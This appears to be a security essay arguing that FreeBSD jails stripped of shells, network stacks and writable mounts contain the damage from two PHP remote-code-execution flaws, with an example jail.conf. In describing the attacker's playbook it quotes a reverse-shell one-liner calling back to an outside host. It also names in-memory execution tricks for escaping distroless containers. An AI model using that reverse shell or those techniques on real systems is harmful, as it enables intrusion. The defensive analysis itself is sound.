IT Philosophy ■ The thesis.
The advisory arrived on Monday evening, a day ahead of the planned patch, because somebody had published the proof of concept first. Two flaws in the PHP engine itself, CVE-2026-109618 and CVE-2026-109619, each rated 9.2 on CVSS, each requiring no authentication, each firing before a single line of application code runs. The first corrupts memory when PHP runs out of it during request setup; the cleanup treats half-initialised data as valid, and a crafted POST body of perhaps 450 bytes is enough. The second takes the same road through the session upload-progress callback. Both hand the attacker code execution as the web server's user, on any PHP version from 5.4 onwards, in any SAPI: FPM, mod_php, CGI, the lot. watchTowr confirmed active exploitation within hours.
The sentence that followed every advisory was the same: patch immediately. Quite right, and you should. The question this piece asks is a different one. What happens on the server where the patch has not arrived yet?
What the attacker needs after he gets in
The exploit runs inside the PHP process. It corrupts memory, it gains control of that process, and from that moment the attacker can execute arbitrary code as the user the web server runs under. Nothing about the jail, the container, or the architecture of the host prevents this first step. The flaw is in PHP, and until PHP is patched the flaw is there. This piece does not pretend otherwise.
What the attacker does next is where the architecture begins to matter. The published post-exploitation playbook is consistent across every analysis of the incident. The attacker spawns a shell, typically with system("/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1") or one of its cousins: mkfifo paired with nc, socat, a Python pty.spawn, a PHP fsockopen. If the first choice fails, the fallback is to write a webshell to a file the web server can reach, or to download a second-stage payload with curl or wget. SentinelOne, CrowdStrike, Elastic and Datadog all describe the same sequence: the web server process spawning /bin/sh with a suspicious argument is the tightest signal that a PHP RCE has landed.
Every step in that sequence requires something from the environment. A shell binary to spawn. A network stack to call home on. A writable path to drop a file into. A DNS resolver to look up the command-and-control server. Ordinary furniture, all of them, present on most servers because nobody thought to leave them out.
The question from the bottom up is: what if they were never put there?
A room without doors
FreeBSD has shipped jails since version 4.0, in March 2000, and a jail in its simplest form is a directory tree with a process boundary drawn round it by the kernel. The processes inside it see their tree as the world, and the kernel enforces the boundary, which is rather the point: the operating system maintains that wall, and no convention of the packaging system or the container runtime is involved.
A jail that runs PHP-FPM needs the PHP-FPM binary, its shared libraries, and whatever configuration the daemon reads at startup. A shell has no business in that list. Neither do curl, wget, nc, socat, python, perl, node, or any of the other interpreters an attacker reaches for after the first step. A jail built for one job and containing only what that job requires has no spare tools for the visitor, because the visitor was never expected, and the tools were never packed.
The configuration that produces this is short, and it runs on the machinery that ships with the base system:
# /etc/jail.conf — the PHP-FPM jail, example names and paths
phpfpm {
path = "/jails/phpfpm";
ip4 = disable;
ip6 = disable;
mount.devfs;
mount += "/shared/app /jails/phpfpm/srv/app nullfs ro 0 0";
mount += "/shared/sock /jails/phpfpm/var/run/sock nullfs rw 0 0";
exec.start = "/usr/local/sbin/php-fpm --nodaemonize &";
exec.stop = "";
}
Six things are decided in those lines. The jail has no IP address of either protocol, so there is no network stack, no routing table, no DNS, and no way to open a socket to the outside. The application files arrive through a nullfs mount, read-only, so the attacker cannot write a webshell, cannot drop a payload, cannot modify a configuration file. The only writable mount is the Unix-socket directory, which holds the socket through which nginx sends requests and nothing else. The daemon starts by its full path with a trailing ampersand and no shell metacharacters, so jail(8) hands the command directly to execve and never invokes /bin/sh. There is no /bin/sh in the jail, no /bin/bash, no /usr/bin/python, no interpreter of any kind. And the jail boundary is enforced by the kernel, not by a layer of software that sits between the process and the kernel.
php2shell gets code execution inside that jail. The attacker controls the PHP-FPM process. He tries system("/bin/bash -i ...") and /bin/bash does not exist. He tries system("sh -c ...") and sh does not exist. He tries popen("curl http://...") and curl does not exist, and even if it did, there is no network stack to carry the request. He tries to write a webshell and the filesystem is read-only. He tries to reach the database and there is no socket for it in his jail, because the database is a different jail with its own boundary and its own blind network.
The attacker has code execution and nowhere to go with it.
The topology
The jail alone is one room. The topology is a building. A web stack that separates every moving part into its own jail, each blind, communicating only through sockets that the host creates and mounts precisely where they are needed, looks like this:
Caddy terminates TLS and is the sole jail with a network address. nginx serves static files and forwards dynamic requests to PHP-FPM, and it has no address of its own: it sees only the socket from Caddy and the socket to PHP-FPM, and the files it serves arrive read-only through a nullfs mount the host controls. PHP-FPM processes the request and talks to PostgreSQL through a socket the host placed in both jails, and its jail is the one described above: no shell, no network, no writable files except the socket. PostgreSQL has its own data directory, writable only by its own process in its own jail, with no address.
An exploit that lands in the PHP-FPM jail can read the memory of that process and nothing else. It cannot reach nginx, because there is no shared address space and no network between them. It cannot reach PostgreSQL, because the socket it can see carries only the wire protocol, and the database process runs under a different user in a different jail. It cannot call home, because there is no IP stack. It cannot persist, because every file it could write to is a socket that will be gone when the jail restarts.
Every one of these separations is a line or two in jail.conf and a mount entry that the host manages. The tools are in the base system. They shipped with FreeBSD 4.0 twenty-six years ago, and the mechanism has not been replaced, renamed, or moved to a different project since.
The comparison that matters
The obvious reply from the Linux side is: distroless containers do the same thing. Google's distroless images ship without a shell, without a package manager, without the usual set of Unix utilities, and the security argument is the same: remove what the attacker needs.
The argument is sound as far as it goes. Where it stops is documented, and the documentation is unflattering. HackTricks, the penetration-testing reference, devotes a page to bypassing distroless containers, and the first technique is simple: the application runtime is still there. A distroless Python container has no /bin/sh, but it has Python, and Python has os.system, subprocess, socket, and everything else an attacker who got code execution in a Python process could want. A distroless Node.js container has child_process.spawn. A distroless PHP container has PHP, and PHP has fsockopen, file_put_contents, and proc_open.
The second technique is less obvious and more instructive. Attackers use memfd_create to load executables into memory without touching the filesystem, then execve to run them. Tools with names like DDexec and memexec automate this by writing to /proc/self/mem, and the technique works because the kernel interface inside the container is the same kernel interface the host exposes. The container's filesystem may carry nothing useful, but the namespace boundary is enforced by the same kernel that provides these calls to user space.
A FreeBSD jail has none of these paths. The PHP-FPM binary in the jail is the only executable, and PHP's own dangerous functions (system, exec, passthru, popen, proc_open, shell_exec) all need a shell binary to call or a network stack to reach. disable_functions in php.ini can remove those calls from the language entirely, and in a jail without a shell and without a network, what remains is a process that can corrupt its own memory and do nothing with the result. memfd_create is a Linux system call; it does not exist on FreeBSD. /proc is not mounted in the jail by default and need not be. The kernel boundary is a separate enforcement path that has been in the kernel since 2000, with no namespace layered on top of the same interface the host exposes.
The distance between the two is architecture, and architecture is the one thing a patch cannot supply after the fact.
The limit
Four limits, and they should be plain.
The first step is not prevented. The memory corruption in PHP happens regardless of the jail. The attacker gets code execution inside the PHP process, and that process may hold data it was processing at the time: form contents, session tokens, database credentials in memory. A jail without a network makes exfiltration harder, not impossible in every theoretical scenario, and a process that can read its own memory can read its own memory. The jail limits what the attacker can do with what he finds; it does not undo the finding.
php.ini must cooperate. disable_functions is a configuration line, not a kernel enforcement. An attacker with code execution in the PHP process can, in principle, call any C function through FFI if FFI is enabled, or manipulate the process's own state in ways that disable_functions does not cover. The jail is the hard boundary; the ini setting is belt-and-braces.
This topology costs thought. Four jails, four socket paths, four sets of permissions, a nullfs mount for every shared directory. It is more work than a single container with a shell and an address, and the admin who builds it must understand what each mount and each socket does. The reward is architectural, and so is the price.
Patching remains the first answer. The jail does not fix the vulnerability. It contains the consequences, and containment is not a substitute for the fix. Patch PHP first, always, and then be glad that the architecture bought you the hours between the leak and the patch during which somebody else's server was the one that burned.
On a Monday night a proof of concept leaked for two flaws that hand an attacker code execution on three quarters of the web servers on earth. On Tuesday the patch arrived. Between those two moments, the architecture of the server decided everything, and the simplest architecture that answered was a room without a shell, without a network and without a door.